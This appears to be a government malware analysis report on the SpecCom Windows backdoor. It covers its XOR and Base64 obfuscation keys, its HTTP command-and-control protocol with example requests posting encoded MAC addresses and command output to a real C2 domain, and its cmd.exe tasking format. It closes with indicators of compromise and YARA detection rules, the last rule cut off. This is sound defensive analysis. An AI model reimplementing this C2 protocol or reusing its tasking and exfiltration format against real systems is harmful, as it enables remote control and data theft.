National Cyber Security Centre
a part of GCHQ

SpecCom

Malware Analysis Report

Version 1.0

06 September 2021

SpecCom

Windows malware with HTTP command and control

Executive summary

- SpecCom is a malicious 32-bit Windows executable
- Command and control (C2) is over HTTP with tasking within HTML comment tags
- Tasking is Base64-encoded with multiple layers of XOR obfuscation
- Capability includes uploading of data and execution of Windows commands

Introduction

SpecCom is a malicious 32-bit Windows executable that uses HTTP for communication. Communication has only basic XOR obfuscation along with Base64-encoding. This report analyses a specific SpecCom sample that has limited functionality but enables the deployment of additional capability if required.

The extracted configurations for a number of other samples are provided in Appendix I of this report.

Malware details

Metadata

Filename	`Investigating China's Crimes against Humanity.exe`
Description	`SpecCom sample - Windows EXE (PE) x86`
Size	`71168 bytes`
MD5	`3ecfc67294923acdf6bd018a73f6c590`
SHA-1	`3557d162828baab78f2a7af36651a3f46d16c1cb`
SHA-256	`489fca69a622195328302e64e29b6183feac90826dce198432d603202ca4d216`
Compile time	`2020-04-12 20:57:49`

MITRE ATT&CK®

This report has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Execution	T1059.003	Command and Scripting Interpreter: Windows Command Shell	SpecCom tasking allows the execution of Windows command-prompt commands.
Defense Evasion	T1027	Obfuscated Files or Information	SpecCom configuration strings are XOR obfuscated.
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	SpecCom command and control is over HTTP.
	T1132.001	Data Encoding: Standard Encoding	SpecCom tasking is encoded using Base64.
	T1001	Data Obfuscation	SpecCom tasking is XOR obfuscated.

Functionality

Overview

SpecCom is a malicious 32-bit Windows executable with command and control over HTTP. Tasking is Base64-encoded with multiple layers of XOR obfuscation, and contained in HTML comment tags. This particular sample only has basic capability to upload files and execute Windows command-prompt commands as new processes.

Persistence

The version of SpecCom detailed in this report does not have any persistence functionality.

Defence evasion

SpecCom uses several techniques to prevent detection by obfuscating configuration strings and attempting to disguise suspicious API calls. This likely includes sample-specific obfuscation to prevent signaturing, however there remains a number of options for detection.

Dynamically built strings

Strings used as part of malware functionality are dynamically built on the stack to prevent their appearance in a strings list.

XOR obfuscation

Configuration strings, including the C2 domain, network traffic XOR key and URL paths are XOR obfuscated.

To deobfuscate a configuration string, it is first converted to UTF-16 (if not already), then the first `0xA8` bytes are XORed with the following hard-coded 'malware key' to generate a string-specific XOR key. Finally, the rest of the string is Base64-decoded and XORed with this string-specific key to yield the deobfuscated string.

MALWARE KEY

```
32 E2 5C 48 EC 0E C3 7F 5F 7A ED 11 CB E5 0A 87
0F FA 7D FC F9 A7 39 38 3D E3 6B 6F BF 9B 84 1F
E7 BC D1 0E 0A 62 79 7E CE 6F 7F E6 B7 F9 9D D9
8C 67 9F 7A 86 EB 7B D7 31 66
```

For example, the following obfuscated UTF-16 string can be broken down as follows:

```
NQXB2r+eicOIYauXibRAvh7L1XBHacQ8VfwhRsKPSFo2a19POhlRVgtoBNWjxaWs1mg+0SlSLRba3/9y10TU
FeJjSNIO7n8JevARg+Uch0j6dfzRpxk4CuNsb6Wbvx/hvN4OdmJbftdveuY=
```

The first bytes (`0xA8` bytes, `0x54` characters) are selected from the Base64 alphabet, presumably an attempt to confuse analysis. However, they are not Base64-decoded, but instead are XORed with the malware key to produce a string-specific XOR key.

Next, the remaining data is Base64-decoded and XORed using the string-specific XOR key produced during the previous step.

Once deobfuscated, this gives the C2 domain: `infodocs.kginfocom[.]com`

When SpecCom obfuscates strings, for example to produce encoded tasking output data (as described in the 'Communications (Command and Control – Tasking output)' section of this report), the first bytes are randomly generated. It is therefore assumed that the first bytes in hard-coded strings, or those received from the C2 server, are also randomly generated. This suggests that the same configuration string within another sample would not have the same obfuscated form.

Other samples of SpecCom have used different malware keys, for example the malware key below consists of Windows API names:

MALWARE KEY

```
00000000  47 00 65 00 74 00 4d 00 65 00 73 00 73 00 61 00  |G.e.t.M.e.s.s.a.|
00000010  67 00 65 00 50 00 6f 00 73 00 20 00 53 00 65 00  |g.e.P.o.s. .S.e.|
00000020  6e 00 64 00 4d 00 65 00 73 00 73 00 61 00 67 00  |n.d.M.e.s.s.a.g.|
00000030  65 00 20 00 47 00 65 00 74 00 45 00 78 00 69 00  |e. .G.e.t.E.x.i.|
00000040  74 00 43 00 6f 00 64 00 65 00 50 00 72 00 6f 00  |t.C.o.d.e.P.r.o.|
00000050  63 00 65 00 73 00 20 00 43 00 72 00 65 00 61 00  |c.e.s. .C.r.e.a.|
00000060  74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00  |t.e.P.r.o.c.e.s.|
00000070  73 00 20 00 47 00 65 00 74 00 54 00 69 00 63 00  |s. .G.e.t.T.i.c.|
00000080  6b 00 43 00 6f 00 75 00 6e 00 74 00 20 00 47 00  |k.C.o.u.n.t. .G.|
00000090  65 00 74 00 44 00 43 00 45 00 78 00 20 00 43 00  |e.t.D.C.E.x. .C.|
000000a0  6f 00 70 00 79 00 49 00 6d 00 61 00 67 00 65 00  |o.p.y.I.m.a.g.e.|
000000b0  20 00 44 00 72 00 61 00 77 00 54 00 65 00 78 00  | .D.r.a.w.T.e.x.|
000000c0  74 00 20 00 43 00 6c 00 6f 00 73 00 65 00 48 00  |t. .C.l.o.s.e.H.|
000000d0  61 00 6e 00 64 00 6c 00 65 00 20 00 53 00 65 00  |a.n.d.l.e. .S.e.|
000000e0  6e 00 64 00 4d 00 65 00 73 00 73 00 61 00 67 00  |n.d.M.e.s.s.a.g.|
000000f0  65 00 54 00 69 00 6d 00 65 00 6f 00 75 00 74 00  |e.T.i.m.e.o.u.t.|
00000100  00 00                                            |..|
```

Additionally, some samples only use the first `0x20` bytes from obfuscated strings for the initial XOR to give the string-specific XOR key.

Indirect invocation

Another defence evasion technique is that the main functionality of the malware is not invoked directly. Instead, it is launched as a new thread from a window procedure for a window created with the name `Help and Support`. In addition, presumably to avoid heuristic detection, other legitimate but unnecessary GUI-related APIs are called following the creation of this window that either fail or have no effect.

Communications

Command and control

The malware communicates over HTTP POSTs using the standard Windows `wininet` API to `infodocs.kginfocom[.]com`. Tasking requests are sent to a hard-coded URL path, `/gin/kw.asp`, and the responses to these requests contain HTML comment tags consisting of encoded and obfuscated tasking. Any output from tasking commands is then sent to a different hard-coded URL path, `/gin/tab.asp`. The content type and user-agent are hard-coded for both tasking requests and tasking output messages.

A hard-coded 'traffic key' is used as an additional layer of obfuscation for C2 communications, as well as the 'malware key' as described in the 'Functionality (Defence evasion – XOR obfuscation)' section of this report.

SpecCom sends tasking requests periodically, with the delay between requests depending on when tasking was last received:

Time since last tasking received	Delay between tasking requests
Less than 60 seconds	9033 milliseconds
Between 60 seconds and 60 minutes	26022 milliseconds
Greater than 60 minutes	60011 milliseconds

The reduced delay between tasking requests when tasking has recently been received is likely intended to support interactive command and control, while reducing the malware's network footprint when no tasking is available.

Tasking requests

SpecCom requests tasking from the C2 server using tasking request messages. An example tasking request is as follows:

```
POST /gin/kw.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: infodocs[.]kginfocom[.]com
Content-Length: [CONTENT_LENGTH]
Cache-Control: no-cache

d=54321&k=[ENCODED_MAC_ADDRESS]&w=0
```

The POST arguments `d=54321&k=` and `&w=0` are hard-coded, while *`[ENCODED_MAC_ADDRESS]`* is an encoded MAC address in the form `AA-BB-CC-DD-EE-FF` e.g. `00-0C-29-A3-E6-86`.

The MAC address is encoded using the following steps:

1. Convert to UTF-16 encoding

```
00000000  30 00 30 00 2d 00 30 00 43 00 2d 00 32 00 39 00  |0.0.-.0.C.-.2.9.|
00000010  2d 00 41 00 33 00 2d 00 45 00 36 00 2d 00 38 00  |-.A.3.-.E.6.-.8.|
00000020  36 00                                            |6.|
```

2. XOR with traffic key, UTF-16 encoded, for this sample: `htwoDGE`

```
00000000  58 00 44 00 5a 00 5f 00 07 00 6a 00 77 00 51 00  |X.D.Z._...j.w.Q.|
00000010  59 00 36 00 5c 00 69 00 02 00 73 00 45 00 4c 00  |Y.6.\.i...s.E.L.|
00000020  41 00                                            |A.|
```

3. XOR with malware key

```
00000000  6a e2 18 48 b6 0e 9c 7f 58 7a 87 11 bc e5 5b 87  |jâ.H¶...Xz..¼å[.|
00000010  56 fa 4b fc a5 a7 50 38 3f e3 18 6f fa 9b c8 1f  |VúKü¥§P8?ã.oú.È.|
00000020  a6 bc                                            |¦¼|
```

4. Base64-encode

```
auIYSLYOnH9YeocRvOVbh1b6S/ylp1A4P+MYb/qbyB+mvA==
```

5. URL-encode

```
auIYSLYOnH9YeocRvOVbh1b6S/ylp1A4P%2BMYb/qbyB%2BmvA==
```

Tasking responses

SpecCom expects the server response to tasking requests to include tasking data inside HTML comments of the form: `<!--|#`***[ENCODED_TASKING_DATA]***`#|-->`

Tasking data is Base64-encoded and XOR obfuscated in a similar manner to obfuscated configuration strings, as described in the 'Functionality (Defence evasion – XOR obfuscation)' section of this report. However, the string-specific XOR key is derived by XORing the first `0xA8` bytes with both the malware key and the traffic key, rather than just the malware key.

An example of this encoding is shown below for the command: `dir C:\`

```
<!--|#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAf+IASKgOzX8ZetERk+U=#|-->
```

SpecCom does not require tasking responses to be correctly formatted HTTP, providing they contain a HTML comment, however it is likely that they will be correctly formatted.

For example, in the sandbox results for this sample in VirusTotal, the following response was observed:

```
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/8.5
Set-Cookie: ASPSESSIONIDAQACDAQT=ABKPPNBDAIIDNLOIMMNHFLOP; path=/
Date: Wed, 26 May 2021 12:23:44 GMT
Content-Length: 107

<Html><head><meta http-equiv="refresh" content="60;url=about:blank" /></head><body><!--
%F%--></body></Html>
```

Note that in this example `%F%` is not correctly encoded tasking data. In particular, the expected `|#` and `#|` markers are both missing.

Tasking

The malware supports both the execution of arbitrary commands, using the Windows command-prompt, and data upload.

By default, tasking will be interpreted as a Windows command-prompt command, and executed as a new process as follows (with `%temp%` expanded):

```
C:\Windows\system32\cmd.exe /A /C "[COMMAND_DATA]" >
%temp%\cscode[CURRENT_THREAD_ID].log
```

Here ***[CURRENT_THREAD_ID]*** is the decimal form of the current thread ID e.g. `4944` to give `cscode4944.log`.

Alternatively, this particular sample of SpecCom supports a single in-built command to upload data which is Base64-encoded in the following form: `x-<#U#>`***[UPLOAD_DATA]***`<#E#>`

When this tasking is received, it is not executed, and the upload data is instead written to `%temp%\\tmp`***[CURRENT_THREAD_ID]***`.log`

Tasking output

The output from tasking commands is sent to the C2 server in tasking output messages. An example tasking output message is as follows:

```
POST /gin/tab.asp HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Host: infodocs[.]kginfocom[.]com
Content-Length: [CONTENT_LENGTH]
Cache-Control: no-cache

h=95425&u=[ENCODED_MAC_ADDRESS]&r=0&b=[ENCODED_OUTPUT_DATA]
```

The POST arguments `h=95425&u=` and `&r=0&b=` are hard-coded, while:

- ***[ENCODED_MAC_ADDRESS]*** is the same as described in the 'Communications (Command and control – Tasking requests)' section of this report.
- ***[ENCODED_OUTPUT_DATA]*** is encoded and obfuscated the same as tasking data, described in the 'Communications (Command and control – Tasking responses)' section of this report.

Output data is a repeat of the command followed by the output of the Windows command-prompt command starting on a new line.

For example:

```
dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 08E3-F62E

 Directory of C:\

10/07/2015  12:04    <DIR>          PerfLogs
03/02/2020  11:00    <DIR>          Program Files
10/07/2015  12:04    <DIR>          Program Files (x86)
03/02/2020  10:59    <DIR>          Users
03/02/2020  11:00    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  96,759,857,152 bytes free
```

In the case of the upload data command, the response data takes the following form (with `%temp%` expanded):

```
[Upload]
File:%temp%\\tmp[CURRENT_THREAD_ID].log
```

If command arguments are incorrect the following may be returned instead:

```
[Success]
[Failed!]
```

Conclusion

SpecCom is a malicious Windows executable with limited functionality, but is sufficient to allow deployment of further capability. The sample of SpecCom analysed here does not install its own persistence, either because it is not a requirement or because separate capability is used to do so. HTTP is used for command and control, rather than HTTPS, and although obfuscation is used, it is trivial to deobfuscate given the usage of hard-coded keys. Finally, SpecCom is easily signatured in network traffic due to its use of hard-coded URL paths and arguments. Considering this, the NCSC assesses SpecCom to be relatively low-sophistication malware.

Detection

Indicators of compromise

Type	Description	Values
Domain	SpecCom C2 domain	tel-com.sequoiame[.]com
Domain	SpecCom C2 domain	evisa.uz.webfaction[.]info
Domain	SpecCom C2 domain	update.ictdp[.]com
Domain	SpecCom C2 domain	mofa.ungov[.]org
Domain	SpecCom C2 domain	help.2019mfa[.]com
Domain	SpecCom C2 domain	infodocs.kginfocom[.]com
Domain	SpecCom C2 domain	hwyigd.laccessal[.]org
Domain	SpecCom C2 domain	uslugi.mahallafond[.]com
Domain	SpecCom C2 domain	upload.vocalspektor[.]com
Domain	SpecCom C2 domain	ousync.kginfocom[.]com
Domain	SpecCom C2 domain	6z98os.id597[.]link
Domain	SpecCom C2 domain	dcc.ungov[.]org
Domain	SpecCom C2 domain	mail1.ictdp[.]com
Domain	SpecCom C2 domain	update.mudofaa[.]com
IPv4	SpecCom C2 infrastructure	81.95.7.20
URL	SpecCom URL path	/tel/img.asp
URL	SpecCom URL path	/tel/word.asp
URL	SpecCom URL path	/7kcowm/img.asp
URL	SpecCom URL path	/7kcowm/word.asp
URL	SpecCom URL path	/new/js.asp
URL	SpecCom URL path	/new/art.asp
URL	SpecCom URL path	/momo/js.asp
URL	SpecCom URL path	/momo/art.asp
URL	SpecCom URL path	/0kcowm/img.asp
URL	SpecCom URL path	/0kcowm/word.asp
URL	SpecCom URL path	/help/js.asp
URL	SpecCom URL path	/help/art.asp
URL	SpecCom URL path	/gin/tab.asp
URL	SpecCom URL path	/gin/kw.asp
URL	SpecCom URL path	/news/js.asp
URL	SpecCom URL path	/news/art.asp
URL	SpecCom URL path	/hall/tab.asp
URL	SpecCom URL path	/hall/kw.asp
URL	SpecCom URL path	/images/js.asp
URL	SpecCom URL path	/images/art.asp
URL	SpecCom URL path	/sync/tab.asp

Type	Description	Values
URL	SpecCom URL path	`/sync/kw.asp`
URL	SpecCom URL path	`/css/js.asp`
URL	SpecCom URL path	`/css/art.asp`
URL	SpecCom URL path	`/crss/js.asp`
URL	SpecCom URL path	`/crss/art.asp`
URL	SpecCom URL path	`/mail/js.asp`
URL	SpecCom URL path	`/mail/art.asp`
URL	SpecCom URL path	`/jquery/js.asp`
URL	SpecCom URL path	`/jquery/art.asp`

Rules and signatures

Description	Detects SpecCom window name built on the stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_help_support_window_name_stack_string {
    meta:
        author = "NCSC"
        description = "Detects SpecCom window name built on the stack"

    strings:
        $ = {6A 48 58 6A 65 66 89 45 D8 58 6A 6C 66 89 45 DA 58 6A 70 66
89 45 DC 58 6A 20 66 89 45 DE 58 6A 61 66 89 45 E0 58 6A 6E 66 89 45 E2
58 6A 64 66 89 45 E4 58 6A 20 66 89 45 E6 58 6A 53 66 89 45 E8 58 6A 75
66 89 45 EA 58 6A 70 8B 5D 08 66 89 45 EC 58 6A 6F 66 89 45 EE 66 89 45
F0 58 6A 72 66 89 45 F2 58 66 89 45 F4 6A 74 58 66 89 45 F6 33 C0 66 89
45 F8 8D 45 D8 50 68 E0 29 41 00}
        $ = {C7 45 D8 48 00 65 00 C7 45 DC 6C 00 70 00 C7 45 E0 20 00 61
00 C7 45 E4 6E 00 64 00 C7 45 E8 20 00 53 00 C7 45 EC 75 00 70 00 C7 45
F0 70 00 6F 00 C7 45 F4 72 00 74 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom content type string built on the stack
Precision	The majority of samples detected during VT retrohunt queries were SpecCom A few other samples identified appear to have reused this code
Rule type	YARA

```
rule SpecCom_content_type_stack_string {
    meta:
        author = "NCSC"
        description = "Detects SpecCom content type string built on the
stack"

    strings:
        $ = {6A 43 89 45 FC 89 85 34 FD FF FF 58 6A 6F 5E 6A 6E 5A 6A 74
66 89 45 8C 8B C6 66 89 45 8E 8B C2 66 89 45 90 58 6A 65 59 6A 74 66 89
45 92 8B C1 66 89 45 94 8B C2 66 89 45 96 58 6A 2D 66 89 45 98 58 6A 54
8B F8 66 89 7D 9A 5F 6A 79 66 89 7D 9C 5F 6A 70 66 89 7D 9E 5F 6A 3A 66
89 7D A0 8B F9 66 89 7D A2 5F 6A 20 66 89 7D A4 5F 6A 61 66 89 7D A6 5F
6A 70 66 89 7D A8 5F 6A 6C 66 89 7D AA 66 89 7D AC 5F 6A 69 66 89 7D AE
5F 6A 63 66 89 7D B0 5F 6A 61 66 89 7D B2 5F 66 89 7D B4 6A 74 5F 66 89
7D B6 6A 69 5F 66 89 7D B8 8B FE 66 89 7D BA 8B FA 6A 2F 66 89 7D BC 5F
6A 78 66 89 7D BE 5F 6A 77 66 89 7D C0 8B F8 66 89 7D C2 5F 6A 66 66 89
7D C4 66 89 7D C6 66 89 7D C8 8B F8 66 89 7D CA 5F 6A 72 66 89 7D CC 8B
FE 66 89 45 D4 66 89 7D CE 5F 6A 6D 66 89 7D D0 5F 6A 75 58 6A 72 66 89
45 D6 58 6A 6C 66 89 45 D8 58 66 89 45 DA 6A 63 8B C1 66 89 45 DC 58 6A
64 66 89 45 E0 58 66 89 45 E4 66 89 45 E8 6A 0D 58 66 89 45 EA 6A 0A 58
66 89 45 EC}
        $ = {C7 45 8C 43 00 6F 00 C7 45 90 6E 00 74 00 C7 45 94 65 00 6E
00 C7 45 98 74 00 2D 00 C7 45 9C 54 00 79 00 C7 45 A0 70 00 65 00 C7 45
A4 3A 00 20 00 C7 45 A8 61 00 70 00 C7 45 AC 70 00 6C 00 C7 45 B0 69 00
63 00 C7 45 B4 61 00 74 00 C7 45 B8 69 00 6F 00 C7 45 BC 6E 00 2F 00 C7
45 C0 78 00 2D 00 C7 45 C4 77 00 77 00 C7 45 C8 77 00 2D 00 C7 45 CC 66
00 6F 00 C7 45 D0 72 00 6D 00 C7 45 D4 2D 00 75 00 C7 45 D8 72 00 6C 00
C7 45 DC 65 00 6E 00 C7 45 E0 63 00 6F 00 C7 45 E4 64 00 65 00 C7 45 E8
64 00 0D 00 C7 45 EC 0A 00 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom obtaining MAC address
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_get_mac_address {
    meta:
        author = "NCSC"
        description = "Detects SpecCom obtaining MAC address"

    strings:
        $ = {8D 8D F0 80 FF FF 51 8D 8D FC 80 FF FF 51 C7 85 F0 80 FF FF
90 7E 00 00 FF D0 8B C8 33 C0 C6 45 F4 00 8D 7D F5 AB 66 AB AA 85 C9 0F
85 1D 01 00 00 53 6A 25 5E 6A 30 5A 6A 32 59 8B C6 66 89 45 8C 8B C2 66
89 45 8E 6A 58 8B C1 66 89 45 90}
        $ = {8D 8D 00 81 FF FF 51 8D 95 04 81 FF FF 52 C7 85 00 81 FF FF
90 7E 00 00 FF D0 85 C0 0F 85 C7 00 00 00 8B 85 9C 82 FF FF 8B C8 C1 E9
08 0F B6 D1 52 0F B6 C0 50 8B 85 98 82 FF FF 8B C8 C1 E9 18 51 8B D0 C1
EA 10 0F B6 CA 51 8B D0 C1 EA 08 0F B6 CA 0F B6 D0 51 52 8D 45 94}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom tasking request URL path built on the stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_d_54321_k {
    meta:
        author = "NCSC"
        description = "Detects SpecCom tasking request URL path built on
the stack"

    strings:
        $ = {6A 64 59 6A 3D 66 89 4D C8 59 6A 35 8B D1 66 89 55 CA 5A 6A
34 66 89 55 CC 5A 6A 33 66 89 55 CE 5A 6A 32 66 89 55 D0 5A 6A 31 66 89
55 D2 5A 6A 26 66 89 55 D4 5A 6A 6B 66 89 55 D6 5A 66 89 55 D8 8B D1 66
89 55 DA 6A 26 33 D2 66 89 55 DC}
        $ = {C7 45 C8 64 00 3D 00 C7 45 CC 35 00 34 00 C7 45 D0 33 00 32
00 C7 45 D4 31 00 26 00 C7 45 D8 6B 00 3D 00 C7 45 E8 26 00 77 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom tasking response URL path built on the stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_h_95425_u {
    meta:
        author = "NCSC"
        description = "Detects SpecCom tasking response URL path built on
the stack"

    strings:
        $ = {6A 68 59 6A 3D 66 89 4D C8 59 6A 39 8B D1 66 89 55 CA 5A 6A
35 66 89 55 CC 5A 6A 34 66 89 55 CE 5A 6A 32 66 89 55 D0 5A 6A 35 66 89
55 D2 5A 6A 26 66 89 55 D4 5A 6A 75 66 89 55 D6 5A 66 89 55 D8 6A 26}
        $ = {C7 45 C8 68 00 3D 00 C7 45 CC 39 00 35 00 C7 45 D0 34 00 32
00 C7 45 D4 35 00 26 00 C7 45 D8 75 00 3D 00 66 89 55 DC C7 45 E8 26 00
72 00 C7 45 E0 26 00 62 00 C7 45 E4 3D 00 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom sleep duration calculation code
Precision	The majority of samples detected during VT retrohunt queries were SpecCom A few other samples identified appear to have reused this code
Rule type	YARA

```
rule SpecCom_sleep_calculation {
    meta:
        author = "NCSC"
        description = "Detects SpecCom sleep duration calculation code"

    strings:
        $ = {FF D? 2B 05 ?? ?? ?? ?? 3D 60 EA 00 00 73 07 B8 ?? ?? ?? ??
EB 28 FF D? 2B 05 ?? ?? ?? ?? 3D 60 EA 00 00 72 14 FF D? 2B 05 ?? ?? ??
?? 3D 80 EE 36 00 B8 ?? ?? ?? ?? 72 05 B8 ?? ?? ?? ?? 50}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom HTML comment tasking format built on the stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_html_comment {
    meta:
        author = "NCSC"
        description = "Detects SpecCom HTML comment tasking format built
on the stack"

    strings:
        $ = {6A 3C 58 C6 45 FC 01 6A 21 66 89 45 D4 58 6A 2D 66 89 45 D6
58 6A 7C 8B C8 66 89 4D D8 66 89 4D DA 59 6A 23 66 89 4D DC 59 66 89 4D
DE 33 C9 6A 23 66 89 4D E0 59 6A 7C 66 89 4D E4 59 66 89 45 EA 66 89 4D
E6 8B C8 6A 3E 58 66 89 45 EC}
        $ = {C7 45 B8 3C 00 21 00 C7 45 BC 2D 00 2D 00 C7 45 C0 7C 00 23
00 C7 45 E4 23 00 7C 00 C7 45 E8 2D 00 2D 00 C7 45 EC 3E 00 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom success message built on the stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_success {
    meta:
        author = "NCSC"
        description = "Detects SpecCom success message built on the
stack"

    strings:
        $ = {6A 5B 59 6A 53 66 89 4D 94 59 6A 75 66 89 4D 96 59 6A 63 66
89 4D 98 59 6A 65 66 89 4D 9A 66 89 4D 9C 59 6A 73 5E 6A 5D 66 89 4D 9E}
        $ = {C7 45 94 5B 00 53 00 C7 45 98 75 00 63 00 C7 45 9C 63 00 65
00 C7 45 A0 73 00 73 00 C7 45 A4 5D 00 0D 00 C7 45 A8 0A 00 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom failed message built on the stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_failed {
    meta:
        author = "NCSC"
        description = "Detects SpecCom failed message built on the stack"

    strings:
        $ = {33 C9 66 89 4D AA 59 6A 46 66 89 8D 7C FF FF FF 59 6A 61 66
89 8D 7E FF FF FF 59 6A 69 66 89 4D 80 59 6A 6C 66 89 4D 82 59 6A 65 66
89 4D 84 59 6A 64 66 89 4D 86 59 6A 21 66 89 4D 88 59 6A 5D 66 89 4D 8A}
        $ = {C7 85 7C FF FF FF 5B 00 46 00 C7 45 80 61 00 69 00 C7 45 84
6C 00 65 00 C7 45 88 64 00 21 00 C7 45 8C 5D 00 0D 00 C7 45 90 0A 00 00
00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom upload command tag and end marker built on stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_cmd_U_E {
    meta:
        author = "NCSC"
        description = "Detects SpecCom upload command tag and end marker
built on stack"

    strings:
        $ = {6A 78 66 89 4D 92 59 66 89 4D E0 6A 2D 59 6A 3C 66 89 4D E2
59 6A 23 66 89 4D E4 59 6A 55 8B D1 66 89 55 E6 5A 66 89 55 E8 6A 3E 8B
D1 66 89 55 EA 5A 66 89 55 EC 33 D2 6A 3C 66 89 55 EE 5A 66 89 55 CC 8B
D1 6A 45 66 89 55 CE 5A 66 89 4D D2 6A 3E 59 66 89 4D D4}
        $ = {C7 45 E0 78 00 2D 00 C7 45 E4 3C 00 23 00 C7 45 E8 55 00 23
00 C7 45 EC 3E 00 00 00 C7 45 CC 3C 00 23 00 C7 45 D0 45 00 23 00 C7 45
D4 3E 00 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom hard-coded key used in word-length XOR algorithm
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_hardcoded_xor_key_32E25C48 {
    meta:
        author = "NCSC"
        description = "Detects SpecCom hard-coded key used in word-length
XOR algorithm"

    strings:
        $ = {C7 45 B4 32 E2 5C 48 C7 45 B8 EC 0E C3 7F C7 45 BC 5F 7A ED
11 C7 45 C0 CB E5 0A 87 C7 45 C4 0F FA 7D FC C7 45 C8 F9 A7 39 38 C7 45
CC 3D E3 6B 6F C7 45 D0 BF 9B 84 1F C7 45 D4 E7 BC D1 0E C7 45 D8 0A 62
79 7E C7 45 DC CE 6F 7F E6 C7 45 E0 B7 F9 9D D9 C7 45 E4 8C 67 9F 7A C7
45 E8 86 EB 7B D7 C7 45 EC 31 66 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom upload temporary file format built on stack
Precision	No false positives have been identified during VT retrohunt queries
Rule type	YARA

```
rule SpecCom_stack_string_upload_tmp_logFile {
    meta:
        author = "NCSC"
        description = "Detects SpecCom upload temporary file format built
on stack"

    strings:
        $ = {6A 5B 58 6A 55 66 89 45 ?? 58 6A 70 66 89 45 ?? 58 6A 6C 66
89 45 ?? 58 6A 6F 66 89 45 ?? 58 6A 61 66 89 45 ?? 58 6A 64 66 89 45 ??
58 6A 5D 66 89 45 ?? 58 6A 0D 66 89 45 ?? 58 6A 0A 66 89 45 ?? 58 6A 25
66 89 45 }
        $ = {6A 25 66 89 45 D6 33 C0 66 89 45 D8 58 6A 74 66 89 45 AC 8B
C6 66 89 45 AE 58 6A 6D 66 89 45 B0 58 6A 70 66 89 45 B2 58 6A 25 66 89
45 B4 58 6A 64 66 89 45 B6 58 6A 2E 66 89 45 B8 58 6A 6C 66 89 45 BA 58
6A 6F 66 89 45 BC 58 6A 67 66 89 45 BE 58 6A 46 66 89 45 C0 33 C0 66 89
45 C2 58 6A 69 66 89 45 DC 58 6A 6C 66 89 45 DE 58 6A 65 66 89 45 E0 58
6A 3A 66 89 45 E2 58 66 89 45 E4 6A 25 58 66 89 45 E6 6A 0D 58 66 89 45
EA 6A 0A 58 66 89 45 EC 33 C0 66 89 45 EE}
        $ = {C7 45 C4 5B 00 55 00 C7 45 C8 70 00 6C 00 C7 45 CC 6F 00 61
00 C7 45 D0 64 00 5D 00 C7 45 D4 0D 00 0A 00 C7 45 AC 25 00 73 00 C7 45
B0 74 00 6D 00 C7 45 B4 70 00 25 00 C7 45 B8 64 00 2E 00 C7 45 BC 6C 00
6F 00 C7 45 C0 67 00 00 00 C7 45 DC 46 00 69 00 C7 45 E0 6C 00 65 00 C7
45 E4 3A 00 25 00 C7 45 E8 73 00 0D 00 C7 45 EC 0A 00 00 00}
    condition:
        (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any
of them
}
```

Description	Detects SpecCom word-length XOR algorithm
Precision	The majority of samples detected during VT retrohunt queries were SpecCom A few other samples identified appear to have reused this code
Rule type	YARA

```
rule SpecCom_deobfuscation_function_word_xor {
    meta:
        author = "NCSC"
        description = "Detects SpecCom word-length XOR algorithm"

    strings:
        $ = {8D 04 70 83 F9 08 72 04 8B 0F EB 02 8B CF 66 8B 00 66 33 02
46 66 89 04 59 3B 75 18 72 02 33 F6 8B 47 10 43}
        $ = {66 8B 34 46 66 33 34 3B 40 66 89 34 0B 3B 45 18 72 02 33 C0
8B 75 F0 8B 4A 10 46 89 75 F0 3B CE 77 B1}
    condition:
